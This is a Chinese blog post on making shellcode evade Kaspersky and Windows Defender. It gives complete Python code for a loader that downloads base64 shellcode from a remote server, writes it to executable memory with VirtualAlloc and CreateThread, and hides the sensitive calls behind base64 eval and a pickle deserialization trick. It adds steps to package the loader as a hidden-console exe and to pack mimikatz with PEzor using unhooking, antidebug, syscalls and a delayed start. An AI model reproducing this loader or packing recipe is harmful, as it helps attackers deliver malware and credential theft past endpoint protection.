测试免杀过卡巴斯基和window defender

简介: 测试免杀过卡巴斯基和window defender

测试的时候,好像是都过了.


因为网上的demo已经报毒很多了,然后就想这修改一下.


主要思想


   是运用了反序列化,分离shellcode,敏感函数base64加密eval()执行.


import tkinter as tk
import base64
import ctypes
import urllib.request
import codecs
import pickle
def change():
var=entry.get()
b64=str(base64.b64encode(var.encode("utf-8")), "utf-8")
print(str(b64))
code = """
import codecs,urllib.request,ctypes
code = urllib.request.urlopen('http://vps的ip/code.txt').read()
code = base64.b64decode(code)
code =codecs.escape_decode(code)[0]
code = bytearray(code)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(code)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(code)).from_buffer(code)
string=b'Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KAogICAgICAgIGN0eXBlcy5jX3VpbnQ2NChwdHIpLCAKICAgICAgICBidWYsIAogICAgICAgIGN0eXBlcy5jX2ludChsZW4oY29kZSkpCiAgICAp'
eval(str(base64.b64decode(string),'utf-8'))
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
"""
class A(object):
def __reduce__(self):
return (exec, (code,))
ret = pickle.dumps(A())
ret_base64 = base64.b64encode(ret)
print(ret_base64)
if __name__ == '__main__':
window = tk.Tk()
window.title("免杀shellcode -雷石安全")
window.geometry('300x60+200+300')
entry = tk.Entry(window, width=40)
entry.pack()
button=tk.Button(window,text='生成',command=change).pack()
window.mainloop()

0333c0e0fd893e500149ef01501ec204_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


第一步:


生成payload


第二步:


0f1d8175d867e0366d7722cee458a9d3_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


   放如小框框中,点击生成,会出现两个值:


   第一个值为base64后的需要分离的shellcode,放到服务器中


1e42c19824e4649be0e6915bb8a22d8e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


   用python开一个小服务器(可以去访问看看,通没通).


   第两个值,为我们反序列化后的代码,中间那一群绿绿的代码,都会在我们反序列化的时候自动执行.


   加载器py:

import base64,pickle
shellcode =b'gASV4gMAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlFjDAwAACmltcG9ydCBjb2RlY3MsdXJsbGliLnJlcXVlc3QsY3R5cGVzCmNvZGUgPSB1cmxsaWIucmVxdWVzdC51cmxvcGVuKCdodHRwOi8vNDcuMTEyLjI0Mi43MC9jb2RlLnR4dCcpLnJlYWQoKQpjb2RlID0gYmFzZTY0LmI2NGRlY29kZShjb2RlKQpjb2RlID1jb2RlY3MuZXNjYXBlX2RlY29kZShjb2RlKVswXQpjb2RlID0gYnl0ZWFycmF5KGNvZGUpCgpjdHlwZXMud2luZGxsLmtlcm5lbDMyLlZpcnR1YWxBbGxvYy5yZXN0eXBlID0gY3R5cGVzLmNfdWludDY0CgpwdHIgPSBjdHlwZXMud2luZGxsLmtlcm5lbDMyLlZpcnR1YWxBbGxvYyhjdHlwZXMuY19pbnQoMCksIGN0eXBlcy5jX2ludChsZW4oY29kZSkpLCBjdHlwZXMuY19pbnQoMHgzMDAwKSwgY3R5cGVzLmNfaW50KDB4NDApKQpidWYgPSAoY3R5cGVzLmNfY2hhciAqIGxlbihjb2RlKSkuZnJvbV9idWZmZXIoY29kZSkKICAgIApzdHJpbmc9YidZM1I1Y0dWekxuZHBibVJzYkM1clpYSnVaV3d6TWk1U2RHeE5iM1psVFdWdGIzSjVLQW9nSUNBZ0lDQWdJR04wZVhCbGN5NWpYM1ZwYm5RMk5DaHdkSElwTENBS0lDQWdJQ0FnSUNCaWRXWXNJQW9nSUNBZ0lDQWdJR04wZVhCbGN5NWpYMmx1ZENoc1pXNG9ZMjlrWlNrcENpQWdJQ0FwJwpldmFsKHN0cihiYXNlNjQuYjY0ZGVjb2RlKHN0cmluZyksJ3V0Zi04JykpCmhhbmRsZSA9IGN0eXBlcy53aW5kbGwua2VybmVsMzIuQ3JlYXRlVGhyZWFkKAogICAgICAgIGN0eXBlcy5jX2ludCgwKSwgCiAgICAgICAgY3R5cGVzLmNfaW50KDApLCAKICAgICAgICBjdHlwZXMuY191aW50NjQocHRyKSwgCiAgICAgICAgY3R5cGVzLmNfaW50KDApLCAKICAgICAgICBjdHlwZXMuY19pbnQoMCksIAogICAgICAgIGN0eXBlcy5wb2ludGVyKGN0eXBlcy5jX2ludCgwKSkKKQpjdHlwZXMud2luZGxsLmtlcm5lbDMyLldhaXRGb3JTaW5nbGVPYmplY3QoY3R5cGVzLmNfaW50KGhhbmRsZSksY3R5cGVzLmNfaW50KC0xKSkKlIWUUpQu'
#pickle.loads(base64.b64decode(shellcode))
strinq=b'cGlja2xlLmxvYWRzKGJhc2U2NC5iNjRkZWNvZGUoY29kZSkp'
eval(str(base64.b64decode(strinq),'utf-8'))

   带进去生成的第二个值


   直接运行,或者



pyinstaller -F loader.py --noconsole -i 13.ico


   生成exe(内部pyc)文件,当然脚本把它反编译出来pyc,然后查看源码(https://tool.lu/pyc/)不错的网址.


43e76bc7969af364adfdfefad428c3b7_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg


3a79079269456a28391bef7a5546313c_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


1c19798515e0252134f7eb12bd20f0e7_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


a946f0c1a8e98dfe1c3c17284e0cd160_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


c3d6532785fe26381df11af734f6511a_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


补充


   这些显示不够,比如猕猴桃怎么免杀呢?


   推荐一个在红队学院星球看到的项目(当然这个可以在,去特征字符串以后再次加固)

   PEzor

git clone https://github.com/phra/PEzor.git
cd PEzor
sudo bash install.sh
bash PEzor.sh –h

e261a0cf0499dfb93f6fecde0e1d403e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


 安装完会报错


下载https://github.com/EgeBalci/sgn,解压后放入PEzor的目录


然后



export PATH=$PATH:~/go/bin/:/root/dvwa/PEzor:/root/dvwa/PEzor/deps/donut_v0.9.3/:/root/dvwa/PEzor/deps/wclang/_prefix_PEzor_/bin/


注意:/home/dvwa/PEzor,要是自己的路径


而且此命令只在当前shell下有效


a1e9d7cfd2e36f1ea41de4335b33e2c5_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


输入后便可以愉快的玩耍了.


比如,休眠120秒上线的mimikatz



PEzor.sh -sgn -unhook -antidebug -text -syscalls -sleep=120 mimikatz.exe  -z 2

相关文章
|
12月前
|
安全 数据安全/隐私保护 Windows
Powershell 免杀过 defender 火绒,附自动化工具
Powershell 免杀过 defender 火绒,附自动化工具
862 0
|
安全 Windows
MHTML中曝出0day漏洞 影响各版Windows
微软昨日证实,他们正在调查一个新的0day漏洞,该漏洞存在于MHTML中,会导致信息泄露,影响所有Windows平台,包括Windows XP、Vista、Windows 7和所有版本的Windows Server。
1015 0
|
安全 Windows
微软否认Windows 7存在缺陷 称UAC不会被黑客利用
北京时间2月3日消息,据国外媒体报道,微软否认Windows 7的用户控制功能(以下简称“UAC”)存在安全缺陷。 微软发言人称,“这不是安全缺陷。 博主Long Zheng上周发表博客文章称,微软对Windows 7所作的一处改动降低了系统的安全性,因为黑客可以在用户不知情的情况下关闭UAC。
761 0
|
安全 Windows
Windows 7 RC版曝出首个0day漏洞 可致电脑蓝屏
5月14日消息,360安全中心透露,其研究人员近日发现微软Windows7操作系统的RC版(发布候选版)存在一个严重的内核安全漏洞,该漏洞与此前Win7测试版曝出的产品Bug和Windows NT时期的漏洞均不同,是Win7自全球公开测试以来首个0day漏洞。
1375 0
|
安全 Windows
网络间谍小组利用Windows热补丁实现恶意软件隐身
本文讲的是网络间谍小组利用Windows热补丁实现恶意软件隐身,在亚洲活动的一个网络间谍小组正使用被称为“热补丁”(Hotpatching)的Windows即时更新特性,使恶意软件更难被安全产品发现。
1363 0